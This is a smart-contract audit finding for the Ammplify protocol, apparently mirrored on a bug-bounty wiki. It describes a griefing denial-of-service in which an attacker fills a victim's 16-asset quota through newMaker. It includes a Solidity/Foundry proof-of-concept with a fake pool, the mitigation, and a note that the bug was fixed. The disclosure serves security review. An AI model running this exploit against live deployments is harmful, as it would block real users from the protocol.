An attacker can block a user from opening new Maker/Taker positions by “donating” 16 unwanted Maker assets, saturating their asset quota
The newMaker function allows an attacker to create Maker assets on behalf of any recipient, adding them to that recipient's asset quota without consent. An attacker can fill the victim's quota of 16 assets, preventing the victim from creating any new Maker or Taker positions until they remove the unwanted assets.
Source: https://github.com/sherlock-audit/2025-09-ammplify-judging/issues/20
Found by
0xAsen, 0xCuru, 0xKemah, 0xSecurious, 0xaxaxa, 0xnija, 8olidity, ADM_, JasonBPMIASN, KiroBrejka, KlosMitSoss, Kodyvim, OxNoble, P00, SOPROBRO, Slayer, TheSavageTeddy, anonymousjoe, blockace, drdee, fullstop, har0507, merlin, mingzoox, neeloy, sakibcy, serenity1337, sourav_DEV, t.aksoy
Summary
Because assets created via newMaker(recipient=...) are added directly to the recipient’s quota without their consent or opt-in, an attacker can fill a user’s MAX_ASSETS_PER_OWNER = 16 slots. This results in a functional denial-of-service: the user is prevented from ever opening any Maker or Taker position until they remove those unwanted assets. This blocks core protocol functionality for an extended period.
Root Cause
- Unfettered use of recipient in newMaker, adding assets to someone else’s quota without permission:
src/facet/MakerFacet.newMaker():20 -> src/facet/MakerFacet.newMaker():32 -> src/Asset.newMaker():64-73
- Shared global cap for Maker + Taker per owner without opt-in:
src/Asset.MAX_ASSETS_PER_OWNER:44 -> src/Asset.addAssetToOwner():139-147
- Maker and Taker share the same mapping and cap:
Internal Pre-conditions
Attacker can call newMaker(recipient=victim) freely.
Attacker supplies minimal liquidity to satisfy requirements.
External Pre-conditions
None
Attack Path
- Attacker calls newMaker(recipient=victim, ...) 16 times, filling the asset quota.
- Victim attempts to call newMaker(...) or newTaker(...), but call reverts with ExcessiveAssetsPerOwner.
Impact
- Complete DoS of Maker/Taker creation for target users.
- If the victim does nothing (or cannot act), the block persists indefinitely → long-lasting.
- Disrupts time-sensitive core functionality: inability to provide liquidity or collect fees.
- Easily automatable/spammable by attacker; very low cost.
PoC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {MultiSetupTest} from "../MultiSetup.u.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
interface IUniV3PoolLike {
function token0() external view returns (address);
function token1() external view returns (address);
function tickSpacing() external view returns (int24);
function slot0() external view returns (uint160,int24,uint16,uint16,uint16,uint8,bool);
function ticks(int24) external view returns (uint128,int128,uint256,uint256,int56,uint160,uint32,bool);
function observations(uint256) external view returns (uint32,int56,uint160,bool);
function mint(address owner,int24 tickLower,int24 tickUpper,uint128 amount,bytes calldata data)
external returns (uint256 amount0, uint256 amount1);
function burn(int24 tickLower,int24 tickUpper,uint128 amount)
external returns (uint256 amount0, uint256 amount1);
function collect(address recipient,int24 tickLower,int24 tickUpper,uint128 amount0Requested,uint128 amount1Requested)
external returns (uint128 amount0, uint128 amount1);
}
// Fake pool "neutre" : appelle la callback avec (0,0) et ne rend rien au burn/collect.
// Cela suffit pour que `newMaker` aboutisse sans drainer le Diamond.
contract FakePoolNeutral is IUniV3PoolLike {
address public immutable t0;
address public immutable t1;
address public immutable diamond;
constructor(address _t0, address _t1, address _diamond) {
t0 = _t0; t1 = _t1; diamond = _diamond;
}
function token0() external view returns (address) { return t0; }
function token1() external view returns (address) { return t1; }
function tickSpacing() external pure returns (int24) { return 60; }
function slot0() external pure returns (uint160,int24,uint16,uint16,uint16,uint8,bool) {
return (uint160(1<<96), 0, 0, 0, 0, 0, true);
}
function ticks(int24) external pure returns (uint128,int128,uint256,uint256,int56,uint160,uint32,bool) {
return (0,0,0,0,0,0,0,false);
}
function observations(uint256) external pure returns (uint32,int56,uint160,bool) {
return (0,0,0,true);
}
function feeGrowthGlobal0X128() external pure returns (uint256) { return 0; }
function feeGrowthGlobal1X128() external pure returns (uint256) { return 0; }
function positions(bytes32 /*key*/) external view returns (
uint128, uint256, uint256, uint128, uint128
) {
// Ajuste ces valeurs si ta logique dépend d’un état particulier.
return (0, 0, 0, 0, 0);
}
function mint(address, int24, int24, uint128, bytes calldata)
external returns (uint256 amount0, uint256 amount1)
{
// Callback avec zero → aucune sortie de fonds
(bool ok,) = diamond.call(
abi.encodeWithSignature(
"uniswapV3MintCallback(uint256,uint256,bytes)",
0, 0, ""
)
);
require(ok, "callback failed");
return (0, 0);
}
function burn(int24, int24, uint128) external pure returns (uint256, uint256) {
return (0, 0);
}
function collect(address, int24, int24, uint128, uint128) external pure returns (uint128, uint128) {
return (0, 0);
}
}
contract C4Test is MultiSetupTest {
FakePoolNeutral fake;
int24 constant LOW = -600;
int24 constant HIGH = 600;
// même valeur que MakerFacet.MIN_MAKER_LIQUIDITY
uint128 constant MIN_LIQ = 1_000_000;
address victim;
function setUp() public {
_newDiamond();
token0 = new MockERC20("T0","T0",18);
token1 = new MockERC20("T1","T1",18);
// Trésorerie Diamond (inutile ici mais garde la symétrie)
token0.mint(diamond, 1e18);
token1.mint(diamond, 1e18);
// Attaquant (address(this)) a de quoi payer si `RFTLib.settle` demande
token0.mint(address(this), 1e24);
token1.mint(address(this), 1e24);
token0.approve(diamond, type(uint256).max);
token1.approve(diamond, type(uint256).max);
// Victime
victim = address(0xBEEF);
token0.mint(victim, 1e24);
token1.mint(victim, 1e24);
// Approvals de la victime (pour sa tentative finale)
vm.startPrank(victim);
token0.approve(diamond, type(uint256).max);
token1.approve(diamond, type(uint256).max);
vm.stopPrank();
// Fake pool "neutre"
fake = new FakePoolNeutral(address(token0), address(token1), diamond);
}
function test_DoS_MakerDonationCap16() public {
// 1) L’attaquant spam 16 Maker "offerts" à la victime
for (uint256 i = 0; i < 16; i++) {
makerFacet.newMaker(
victim, // ← owner imposé
address(fake),
LOW, HIGH,
MIN_LIQ, // minimum protocolaire
true,
1,
type(uint160).max,
""
);
}
// 2) La victime essaie d’ouvrir sa propre position → revert (cap atteint)
vm.startPrank(victim);
makerFacet.newMaker(
victim,
address(fake),
LOW, HIGH,
MIN_LIQ,
true,
1,
type(uint160).max,
""
);
vm.stopPrank();
}
}
Mitigation
Require explicit recipient consent/opt-in before adding assets to their account. Restrict newMaker to recipient == msg.sender and implement explicit transfer with acceptance. Separate Maker/Taker quotas. Add a free “clean-up” function for unwanted assets.
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/itos-finance/Ammplify/pull/19
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the newMaker function accepts an arbitrary recipient and adds the created asset to that recipient's quota without any consent or opt-in, and the same quota is shared between Maker and Taker assets.
Impact
The victim is completely blocked from creating any Maker or Taker positions, which prevents them from providing liquidity or collecting fees; the block persists as long as the victim does not remove the unwanted assets, and the attack is cheap and automatable.
What the attacker needed
Attacker can call newMaker with any recipient; attacker supplies minimal liquidity
The fix
The protocol team fixed this issue by requiring explicit recipient consent or opt-in before adding assets to their account, and by separating Maker and Taker quotas.
How it was found
- Attacker calls newMaker with the victim as recipient 16 times, each time supplying minimal liquidity.
- Victim attempts to call newMaker or newTaker, but the call reverts with ExcessiveAssetsPerOwner.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this protocol, each user can have at most 16 assets (Maker or Taker positions). The function that creates a Maker asset lets the caller specify who will own it, and the asset is added to that person's count without asking them. An attacker can therefore create 16 tiny assets for someone else, using up all their slots so they cannot create their own positions.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.